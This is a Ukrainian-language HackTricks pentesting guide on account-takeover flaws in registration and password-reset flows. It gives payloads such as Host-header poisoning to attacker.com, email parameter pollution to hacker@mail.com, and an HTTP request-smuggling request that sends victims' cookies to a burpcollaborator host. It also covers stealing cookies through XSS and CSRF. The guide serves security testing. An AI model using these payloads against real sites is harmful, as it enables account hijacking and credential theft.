hacktricks/pentesting-web/registration-vulnerabilities.md

13 KiB
Raw Blame History

Вразливості реєстрації та захоплення

{% hint style="success" %} Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримка HackTricks
{% endhint %}

Захоплення реєстрації

Дублювання реєстрації

  • Спробуйте згенерувати, використовуючи існуюче ім'я користувача
  • Перевірте, варіюючи електронну пошту:
  • великі літери
  • +1@
  • додайте крапку в електронній пошті
  • спеціальні символи в імені електронної пошти (%00, %09, %20)
  • Додайте чорні символи після електронної пошти: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Перерахування імен користувачів

Перевірте, чи можете ви з'ясувати, коли ім'я користувача вже було зареєстровано в додатку.

Політика паролів

Створюючи користувача, перевірте політику паролів (перевірте, чи можете ви використовувати слабкі паролі).
У такому випадку ви можете спробувати брутфорсити облікові дані.

SQL-ін'єкція

Перевірте цю сторінку , щоб дізнатися, як спробувати захоплення облікових записів або витягти інформацію через SQL-ін'єкції у формах реєстрації.

Захоплення Oauth

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

Вразливості SAML

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Зміна електронної пошти

Після реєстрації спробуйте змінити електронну пошту та перевірте, чи ця зміна правильно перевіряється або чи можна змінити її на довільні електронні адреси.

Більше перевірок

  • Перевірте, чи можете ви використовувати тимчасові електронні адреси
  • Довгий пароль (>200) призводить до DoS
  • Перевірте обмеження швидкості на створення облікових записів
  • Використовуйте username@burp_collab.net і аналізуйте callback

Захоплення скидання пароля

Витік токена скидання пароля через реферер

  1. Запросіть скидання пароля на вашу електронну адресу
  2. Натисніть на посилання для скидання пароля
  3. Не змінюйте пароль
  4. Перейдіть на будь-які сторонні веб-сайти (наприклад: Facebook, Twitter)
  5. Перехопіть запит у проксі Burp Suite
  6. Перевірте, чи заголовок referer витікає токен скидання пароля.

Отруєння скидання пароля

  1. Перехопіть запит на скидання пароля в Burp Suite
  2. Додайте або відредагуйте наступні заголовки в Burp Suite: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Перешліть запит з модифікованим заголовком
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Шукайте URL скидання пароля на основі заголовка host, наприклад: https://attacker.com/reset-password.php?token=TOKEN

Скидання пароля через параметр електронної пошти

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR на API Параметрах

  1. Атакуючий повинен увійти в свій обліковий запис і перейти до функції Змінити пароль.
  2. Запустіть Burp Suite і перехопіть запит.
  3. Відправте його на вкладку повторювача та відредагуйте параметри: ID користувача/електронна пошта
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Слабкий Токен Скидання Пароля

Токен скидання пароля повинен генеруватися випадковим чином і бути унікальним щоразу.
Спробуйте визначити, чи токен має термін дії або завжди однаковий, в деяких випадках алгоритм генерації є слабким і може бути вгаданий. Наступні змінні можуть використовуватися алгоритмом.

  • Часова мітка
  • ID користувача
  • Електронна пошта користувача
  • Ім'я та прізвище
  • Дата народження
  • Криптографія
  • Тільки числа
  • Невелика послідовність токенів (символи між [A-Z,a-z,0-9])
  • Повторне використання токена
  • Дата закінчення терміну дії токена

Витік Токена Скидання Пароля

  1. Викличте запит на скидання пароля, використовуючи API/UI для конкретної електронної пошти, наприклад: test@mail.com
  2. Перевірте відповідь сервера та перевірте наявність resetToken
  3. Потім використовуйте токен в URL, наприклад https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Скидання Пароля Через Колізію Імені Користувача

  1. Зареєструйтеся в системі з іменем користувача, ідентичним імені користувача жертви, але з пробілами перед і/або після імені користувача. наприклад: "admin "
  2. Запросіть скидання пароля з вашим шкідливим іменем користувача.
  3. Використовуйте токен, надісланий на вашу електронну пошту, і скиньте пароль жертви.
  4. Увійдіть до облікового запису жертви з новим паролем.

Платформа CTFd була вразливою до цієї атаки.
Дивіться: CVE-2020-7245

Захоплення Облікового Запису Через Міжсайтовий Скриптинг

  1. Знайдіть XSS всередині програми або піддомену, якщо куки обмежені до батьківського домену: *.domain.com
  2. Витікайте поточний cookie сесії
  3. Аутентифікуйтеся як користувач, використовуючи cookie

Захоплення Облікового Запису Через Підтасування HTTP Запитів

1. Використовуйте smuggler для виявлення типу підтасування HTTP запитів (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Сформуйте запит, який перезапише POST / HTTP/1.1 з наступними даними:
GET http://something.burpcollaborator.net HTTP/1.1 X: з метою перенаправлення жертв на burpcollab і крадіжки їхніх cookie
3. Остаточний запит може виглядати наступним чином

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Захоплення облікового запису через CSRF

  1. Створіть payload для CSRF, наприклад: “HTML форма з автоматичною відправкою для зміни пароля”
  2. Відправте payload

Захоплення облікового запису через JWT

JSON Web Token може використовуватися для аутентифікації користувача.

  • Змініть JWT на інший User ID / Email
  • Перевірте на слабкий підпис JWT

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Посилання

{% hint style="success" %} Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримка HackTricks
{% endhint %}